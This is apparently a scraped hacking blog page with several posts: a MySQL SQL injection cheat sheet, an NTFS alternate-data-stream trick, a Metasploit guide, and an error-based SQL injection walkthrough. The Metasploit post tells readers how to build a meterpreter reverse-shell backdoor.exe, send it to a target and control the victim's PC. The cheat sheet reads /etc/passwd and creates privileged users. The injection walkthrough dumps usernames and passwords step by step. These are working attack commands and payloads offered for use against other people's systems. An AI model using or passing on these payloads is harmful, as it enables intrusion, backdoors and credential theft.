<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">If Statement</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT if(1=1,’foo’,'bar’); — returns ‘foo’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Case Statement</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Avoiding Quotes</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT 0×414243; # returns ABC</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Time Delay</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;"><span style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">SELECT BENCHMARK(1000000,MD5(‘A’));<br />SELECT SLEEP(5); # >= 5.0.12</span></td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Make DNS Requests</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Impossible?</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Command Execution</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  <a href="http://www.0xdeadbeef.info/exploits/raptor_udf.c" style="background: transparent; border: 0px; color: #0099bb; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">raptor_udf.c</a> explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Local File Access</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.<br />
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Hostname, IP Address</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT @@hostname;</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Create Users</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Delete Users</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">DROP USER test1; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Make User DBA</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Location of DB files</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT @@datadir;</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Default/System Databases</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">information_schema (>= mysql 5.0)<br />
mysql</td></tr>
</tbody></table>
</div>

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases… This post is part of a series of SQL Injection Cheat Sheets. In this...

Hide Data in a Secret Text File Compartment

<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEgKOH2YPKIexCmISO_XlT63eOCVzUJ5AAo2zRnlsuyJ9pj4DdzFSn76aliXJLGKlBqwMoUfVw9zaVPfr6QXwpZs7UzYEaHjeypFsU3JXQb9lpSVeQ7lw-u8BEKqZv6pmzfPUD70-KVzQ8wWmAg8eqxOjvNSM9U5nCx4BuDsAU2ISjDbCc7FU7QiPUiCXBtsIDW97popNY6HUq5dW6c_Nw=!The_Secret_Box.jpg&container=blogger&gadget=a&rewriteMime=image%2F*" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="240" src="http://img1.wikia.nocookie.net/__cb20071021184105/spongebob/images/archive/6/6e/20130805203338!The_Secret_Box.jpg" width="320" /></a><br />
In today’s edition of Stupid Geek Tricks (where we show off little-known tricks to impress your non-geek friends), we’ll learn how to hide data in a text file that can’t be seen by anybody else unless they know the name of the secret compartment.<br />
<br />
Note: This article was originally written a couple of years ago, but we’ve updated and polished it for Windows 7, and we’re sharing it with all the new readers again.<br />
<h2 style="text-align: left;">
Here’s How it Works</h2>
Ever since Windows 2000, the NTFS file system in Windows has supported <a href="http://msdn.microsoft.com/en-us/library/aa364056.aspx">Alternate Data</a> Streams, which allow you to store data “behind” a filename with the use of a stream name. It’s not detectable while browsing the file system, or anywhere within Windows… you can only access it with the “secret key” which is really just the name of the stream.<br />
<div style="text-align: center;">
<img alt="image" src="http://cdn9.howtogeek.com/wp-content/uploads/2008/10/image60.png" /></div>
You can think of these extra streams as secret compartments within the file that can only be accessed if you know the “secret code,” which in this case is just the name of the stream.<br />
<br />
This isn’t a completely secure way to hide data as we’ll illustrate below, but it’s a fun trick to know about in a pinch.<br />
<br />
<span style="color: red;">Note: This only works on a drive formatted with NTFS.</span><br />
<h2 style="text-align: left;">
Hiding Data in a Secret Compartment</h2>
In order to use this feature, you’ll have to open a command prompt and use the following syntax:<br />
<blockquote class="tr_bq">
notepad SomeFile.txt:SecretWordHere.txt</blockquote>
You can use anything after the colon as a secret word, the key is that there can’t be any spaces between the first filename and the colon.<br />
<div style="text-align: center;">
<img alt="image" src="http://cdn9.howtogeek.com/wp-content/uploads/2008/10/image49.png" /></div>
If you didn’t specify .txt on the end, Notepad will automatically add it, and ask if you want to create a new file, even if SomeFile.txt already existed, because SecretSquirrel!.txt doesn’t already exist.<br />
<div style="text-align: center;">
<img alt="image" height="208" src="http://cdn9.howtogeek.com/wp-content/uploads/2010/11/image39.png" width="400" /></div>
Now you can enter in whatever data you want here and save the file:<br />
<div style="text-align: center;">
<img alt="image" height="232" src="http://cdn9.howtogeek.com/wp-content/uploads/2008/10/image51.png" width="400" /></div>
When you look at the file, it will still be the exact same size as before:<br />
<div style="text-align: center;">
<img alt="image" height="210" src="http://cdn9.howtogeek.com/wp-content/uploads/2010/11/image40.png" width="400" /></div>
You can even open up the file by double-clicking on it, and add whatever data you want to make the file look normal:<br />
<div style="text-align: center;">
<img alt="image" height="232" src="http://cdn9.howtogeek.com/wp-content/uploads/2008/10/image53.png" width="400" /></div>
You can use the command line again to add a second hidden “compartment” with a different name:<br />
<div style="text-align: center;">
<img alt="image" src="http://cdn9.howtogeek.com/wp-content/uploads/2008/10/image54.png" /></div>
You can add whatever other information to this file that you’d like:<br />
<div style="text-align: center;">
<img alt="image" height="231" src="http://cdn9.howtogeek.com/wp-content/uploads/2008/10/image55.png" width="400" /></div>
None of these hidden files will affect the other, or change the main file. Just remember, you have to use the command line to access the hidden data.<br />
<br />
<span style="color: red;">Note: Once you create a hidden stream, that stream isn’t exactly part of the file… you can’t copy your file to another location and access the streams over there.</span></div>

Hide Data in a Secret Text File Compartment

In today’s edition of Stupid Geek Tricks (where we show off little-known tricks to impress your non-geek friends), we’ll learn how to hide...

How To Hack Windows Users with Metasploits !

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<img src="https://kevinkirsche.com/content/images/2015/07/msf.png" /></div>
<h3 style="text-align: left;">
Hacking Windows Users with Metasploit</h3>
Hi, welcome to Fadu Hack. Do you ever wanted to hack other’s computer in your life? If yes, well i’m here to help you. In this guide we are going to hack any Windows users by using Metasploit frameworks. Before we proceed, please read and understand these first.<br />
<h3 style="text-align: left;">
Metasploit</h3>
A computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.<br />
<h3 style="text-align: left;">
Exploit</h3>
An exploit is the means by which an attacker, or pentester for that matter, takes  advantage of a flaw within a system, an application, or a service. An attacker  uses an exploit to attack a system in a way that results in a particular desired  outcome that the developer never intended. Common exploits include buffer  overflows, web application vulnerabilities (such as SQL injection), and configuration errors.<br />
<h3 style="text-align: left;">
Payload</h3>
A payload is code that we want the system to execute and that is to be selected  and delivered by the Framework. For example, a reverse shell is a payload that  creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that  “binds” a command prompt to a listening port on the target machine, which  the attacker can then connect. A payload could also be something as simple as  a few commands to be executed on the target operating system.<br />
<h3 style="text-align: left;">
Meterpreter</h3>
An advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.<br />
<h3 style="text-align: left;">
Requirements</h3>
<br />
<ul style="text-align: left;">
<li><a href="http://www.backtrack-linux.org/downloads/">Pentesting Operating System</a> (I recommend Kali Linux)</li>
<li>Metasploit Framework (Already installed in most Security OS)</li>
<li>Basic knowledge</li>
</ul>
<h3 style="text-align: left;">
Preparing the Backdoor</h3>
<br />
<br />
<ul style="text-align: left;">
<li>Open up your Terminal and type in this command</li>
</ul>
<br />
<blockquote class="tr_bq">
root@kali:~#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=88 X>backdoor.exe</blockquote>
<br />
<ul style="text-align: left;">
<li>Once the process completed, send the backdoor to your target.</li>
</ul>
<br />
<h3 style="text-align: left;">
Explanation</h3>
The command will set the Payload for our backdoor as reverse tcp for Windows. The LHOST and LPORT is the Ip address and port you want the victim to connect to. Change the LHOST to your IP address in LAN(Local Area Network) and not public/external IP address. You can lookup your IP by typing into Terminal ifconfig. If you want to target people on WAN(Wide Area Network) /Internet you need to port foward first and then you can use your Public/external IP Address. Not to forget, the LPORT number is up to you what number you want to put as long as the port is not in use by other service.<br />
<h3 style="text-align: left;">
Prepare to Attack</h3>
<br />
<ul style="text-align: left;">
<li>Once again, open another terminal and type these commands</li>
</ul>
<br />
<blockquote class="tr_bq">
root@kali:~#service postgresql start<br />root@kali:~#service metasploit start</blockquote>
<br />
<ul style="text-align: left;">
<li>Or you can directly start the service by go to Application>Kali Linux>System Services>Metasploits>Start</li>
<li>After the initialization process completed, type msfconsole in the terminal. This will takes a moment.</li>
<li>Type in these command</li>
</ul>
<br />
<blockquote class="tr_bq">
msf > use exploit/multi/handler<br />msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp<br />msf exploit (handler) > set LHOST your_ip_here<br />msf exploit (handler) > set LPORT your_port_here<br />msf exploit (handler) > exploit</blockquote>
<h3 style="text-align: left;">
Explanation</h3>
As you can see the service postgresql start and service metasploit start is to start the service. The command use exploit/multi/handler and set PAYLOAD windows/meterpreter/reverse_tcp means that we are going to use metasploit handler and the same exploit that we used to make our backdoor earlier. If you type show options, you will see the LHOST and LPORT are not set up correctly. That’s why we need to set the LHOST and LPORT again with the IP address and port that we use previously for our backdoor. Exploit? I hope you know what that command does.<br />
<h3 style="text-align: left;">
Attacking</h3>
<br />
<ul style="text-align: left;">
<li>Lets say we have hit a target, so you will see this coming out from your terminal</li>
</ul>
<br />
<blockquote class="tr_bq">
[*] Started reverse handler on 162.198.37.130:86<br />[*] Starting the payload handler …<br />[*] Sending stage (769024 bytes) to 162.198.37.134<br />[*] Meterpreter session 1 opened (162.198.37.130:86 -> 162.198.37.134:49280 at 2015-07-18<br />meterpreter></blockquote>
<br />
<ul style="text-align: left;">
<li>Once it says meterpreter session opened, you now can do anything as you like. For example see the Victim system info. Simply type in sysinfo in the terminal.</li>
<li>You also can download and upload files from/to Victim PC</li>
<li>For more commands, type in help and you will see bunch of commands</li>
</ul>
<br />
That’s all hope this helps! <img alt="😀" src="http://s.w.org/images/core/emoji/72x72/1f600.png" /></div>

How To Hack Windows Users with Metasploits !

Hacking Windows Users with Metasploit Hi, welcome to Fadu Hack. Do you ever wanted to hack other’s computer in your life? If yes, well ...

Error based injection With Double Query (Medium Level)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
Today we can do <b>Error Based Injection</b> for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor.</div>
<div class="MsoNormal">
</div>
<ol style="text-align: left;">
<li>concat - joisn 2 or more strings/columns</li>
<li>group by - groups the data/rows according to the values ina specific columns to do futher calcuations on the grouped data</li>
<li>floor(x.y) - returns least interger value</li>
<li>rand( [x] ) - generates random number btw 0-1, if x is given the output will be same for all x</li>
<li>as - used to give temporary name to a columns in the output of a select command</li>
<li>count(column/*) - counts the number of NON-NULL rows in a column</li>
</ol>
<h3 style="text-align: left;">
Software Used :-</h3>
<blockquote class="tr_bq" style="text-align: left;">
DVWA (Vulnerable Web application) - (<a href="http://www.dvwa.co.uk/">Click Here</a>)<br />
FireFox - (<a href="http://partners.hostgator.com/c/147763/178153/3094">Click Here</a>)<br />
Hacker Bar - (<a href="https://addons.mozilla.org/en/firefox/addon/hackbar/">Click Here</a>) </blockquote>
<div class="MsoNormal">
<h3 style="text-align: left;">
ASCII Code :-</h3>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFpxnXOgEqM8Wpx4FKMZqsDw6rFfbDv1GjQ_ijZBGlWGtxL_LB17CM0ASAYpXi0lkaNEVaENvCW-XckNx65-qWypiKO4z_orr0pqQbmjsCoK5IqC7x8-Vyilp9yhO2U6TN3fuBwPXilz9/s640/asciifull.gif" width="640" /></div>
<div>
<br /></div>
We can Do <b>MySQL - > double/stacked/sub query</b></div>
<div class="MsoNormal">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<span style="color: red;"><b>NOTE</b></span></div>
<div class="MsoNormal" style="text-align: center;">
<b>*** Base Query FOR double query injection***</b></div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2), 0x3a3a, (<any SQL query here>)) a from information_schema.tables group by a)b)</blockquote>
<h4 style="text-align: left;">
<b>Steps :-></b></h4>
<div>
<div class="MsoNormal">
Step 1: find dynamic page</div>
<blockquote class="tr_bq">
site.com/page.php?news=89</blockquote>
<div class="MsoNormal">
Step 2: apply ' to check if wesite gives MySQL error</div>
<blockquote class="tr_bq">
site.com/page.php?news=89' </blockquote>
<div class="MsoNormal">
You must see an error like:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
You have an error in you SQL syntax, check the manual that corresponds... MySQL ......</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 3: find the injection type</div>
<blockquote class="tr_bq">
ssite.com/page.php?news=89'--+</blockquote>
<div class="MsoNormal">
</div>
<ul style="text-align: left;">
<li>if page opens normally then injection type is string</li>
<li>if not try removing '</li>
<li>site.com/page.php?news=89--+</li>
<li>if works now then injection type is integer</li>
<li>if still dose not then try ", "), ') etc</li>
<li>if none works, try another link</li>
</ul>
Step 4: get the name of the database</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (database())) a from information_schema.tables
group by a)b)</blockquote>
<div class="MsoNormal">
<v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
 <v:stroke joinstyle="miter">
 <v:formulas>
  <v:f eqn="if lineDrawn pixelLineWidth 0">
  <v:f eqn="sum @0 1 0">
  <v:f eqn="sum 0 0 @1">
  <v:f eqn="prod @2 1 2">
  <v:f eqn="prod @3 21600 pixelWidth">
  <v:f eqn="prod @3 21600 pixelHeight">
  <v:f eqn="sum @0 0 1">
  <v:f eqn="prod @6 1 2">
  <v:f eqn="prod @7 21600 pixelWidth">
  <v:f eqn="sum @8 21600 0">
  <v:f eqn="prod @7 21600 pixelHeight">
  <v:f eqn="sum @10 21600 0">
 </v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
 <v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
 <o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="_x0000_i1025" style="height: 118.5pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled1" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeuhieZWhM3tr1fixsHpawntxoWs8D4ut8kohNy5hbrmjeOreCEK6BVdHDr6qSRzugkn9xwq9WWd0RQMyRtuURYhhdP6KCy9j4RUoU3pHSPO1jxXU1n8wrhrlCD30PPgYFMAZgPswMfigS/s640/Screenshot+%25284%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
Now you will get an error like :-</div>
<blockquote class="tr_bq">
Duplicate entry '1::<span style="color: red;">dvwa</span>' for key 'group_key'</blockquote>
<div class="MsoNormal">
in place of <span style="color: red;">dvwa</span> you will see the name of your database</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 5: get the names of the tables (assuming database name is dvwa)</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select table_name from
information_schema.tables where table_schema=database() limit 0,1)) a from
information_schema.tables group by a)b)</blockquote>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP47XC2LRotUF9N3I6aqsnlUY-YIz13tUA04TqIJDYkpkoSctJsigbv_4NCWeO1gopVum7uRhgKCmpKQXoqZumoqNlOmaf2YDqhH_KlSIprbaFYCvpoakJIegqiyhsZGhFicfmAVNDdTv_/s640/Screenshot+%25285%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
this will give 1st table, for next table limit 1,1 and similarly for nth -> limit n-1,1</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<v:shape id="_x0000_i1027" style="height: 117pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled3" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
Step 6: get the columns names from the juicy table (assuming table=users) *i use ASCII value or users</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select column_name from
information_schema.columns where table_schema=database() and table_name =
char(117,115,101,114,115) limit 0,1)) a from information_schema.tables group by
a)b)</blockquote>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipBTwX6RCQNJfjy27IGEAJ140iOPPCsXQZp53_Nkmx7gYE7CbsyN_mEDKvByaRv4JoaTFOYpnGPwGdQU1pKnaa5k_oMB3613tZ1O8vOyM1B3XmknxrH0po7i0nTno1hImWPBPwb1GsGfPe/s640/Screenshot+%25286%2529.png" width="640" /></div>
for next columns limit 1,1 and similarly for nth -> limit n-1,1<br />
<br /></div>
<div class="MsoNormal">
Step 7: get the data from the juicy columns (assuming columns=user,password)</div>
<div class="MsoNormal">
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select concat(user,0x2d2d,password)
from dvwa.users limit 3,1) ) a from information_schema.tables group by a)b)</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE5qiR81L5A4HfOs646h8dmgy4fkok7iAsvDybARYNBX-E64WuWtgkVBdfR09JJy-TlLo2XeWJtZLXrtPKI7GDv6wlRdobia4nKyoGFAHexKPlUhIRVcUw2WFqz1PC3WjXBbMZ6h7fS4Fk/s640/Screenshot+%25288%2529.png" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If you like this post then please like our FACEBOOK page and Subscribe our YouTube Channel</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: red;">NOTE:- Please Do note use this information for bad work. </span>:)</div>
<div class="separator" style="clear: both; text-align: left;">
Thanks :) :)</div>
</div>
</div>

Error based injection With Double Query (Medium Level)

Today we can do Error Based Injection for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor. co...

Fadu Hack

Top Ad unit 728 Ã— 90

Easiest Way to Make Your Drives Unvisible and Unaccessable from My Computer

How to use sslstrip in kali linux

MySQL SQL Injection Cheat Sheet

Hide Data in a Secret Text File Compartment

How To Hack Windows Users with Metasploits !

Error based injection With Double Query (Medium Level)

Buy a cup of coffee

Popular Posts

Labels

Blog Archive